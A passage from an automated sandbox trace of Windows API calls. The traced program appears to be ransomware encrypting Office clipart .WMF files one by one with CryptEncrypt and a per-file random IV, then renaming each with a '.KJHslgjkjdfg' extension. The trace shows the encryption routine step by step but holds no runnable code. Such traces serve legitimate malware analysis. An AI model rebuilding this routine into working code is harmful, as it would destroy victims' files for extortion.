WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.817] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.817] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.818] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.818] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.818] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3df0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3df0, lpOverlapped=0x0) returned 1 [0188.819] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3df0) returned 1 [0188.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.819] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3df0, lpOverlapped=0x0) returned 1 [0188.819] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.820] SetEndOfFile (hFile=0x130) returned 1 [0188.822] GetProcessHeap () returned 0x990000 [0188.822] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.822] GetProcessHeap () returned 0x990000 [0188.823] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.kjhslgjkjdfg")) returned 1 [0188.824] CloseHandle (hObject=0x130) returned 1 [0188.824] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0188.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.826] GetProcessHeap () returned 0x990000 [0188.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.826] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0188.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.828] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.828] GetProcessHeap () returned 0x990000 [0188.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.828] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.828] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.828] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.828] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.829] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.829] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.829] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.829] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.829] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4712, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4712, lpOverlapped=0x0) returned 1 [0188.830] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4720, dwBufLen=0x4720 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4720) returned 1 [0188.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.830] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4720, lpOverlapped=0x0) returned 1 [0188.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x47f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.831] SetEndOfFile (hFile=0x130) returned 1 [0188.833] GetProcessHeap () returned 0x990000 [0188.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.834] GetProcessHeap () returned 0x990000 [0188.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf.kjhslgjkjdfg")) returned 1 [0188.835] CloseHandle (hObject=0x130) returned 1 [0188.835] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0188.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.835] GetProcessHeap () returned 0x990000 [0188.836] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.836] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.836] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0188.838] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.838] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.838] GetProcessHeap () returned 0x990000 [0188.838] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.838] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.838] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.838] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.838] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.838] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.839] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.839] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.839] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb6de, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb6de, lpOverlapped=0x0) returned 1 [0188.846] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb6e0, dwBufLen=0xb6e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb6e0) returned 1 [0188.846] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.846] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb6e0, lpOverlapped=0x0) returned 1 [0188.847] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.847] SetEndOfFile (hFile=0x130) returned 1 [0188.850] GetProcessHeap () returned 0x990000 [0188.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.850] GetProcessHeap () returned 0x990000 [0188.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.kjhslgjkjdfg")) returned 1 [0188.851] CloseHandle (hObject=0x130) returned 1 [0188.852] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0188.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.853] GetProcessHeap () returned 0x990000 [0188.853] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.853] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.853] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.860] GetProcessHeap () returned 0x990000 [0188.860] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.860] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.860] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.860] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.860] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.860] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.860] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.860] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.860] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.861] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x17b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x17b4, lpOverlapped=0x0) returned 1 [0188.870] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x17c0) returned 1 [0188.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.870] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x17c0, lpOverlapped=0x0) returned 1 [0188.874] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.874] SetEndOfFile (hFile=0x130) returned 1 [0188.877] GetProcessHeap () returned 0x990000 [0188.877] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.877] GetProcessHeap () returned 0x990000 [0188.877] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.kjhslgjkjdfg")) returned 1 [0188.878] CloseHandle (hObject=0x130) returned 1 [0188.878] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0188.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.880] GetProcessHeap () returned 0x990000 [0188.880] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.880] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.880] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0188.883] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.883] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.883] GetProcessHeap () returned 0x990000 [0188.883] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.883] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.883] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.883] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.883] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.883] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.883] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.884] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.884] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, 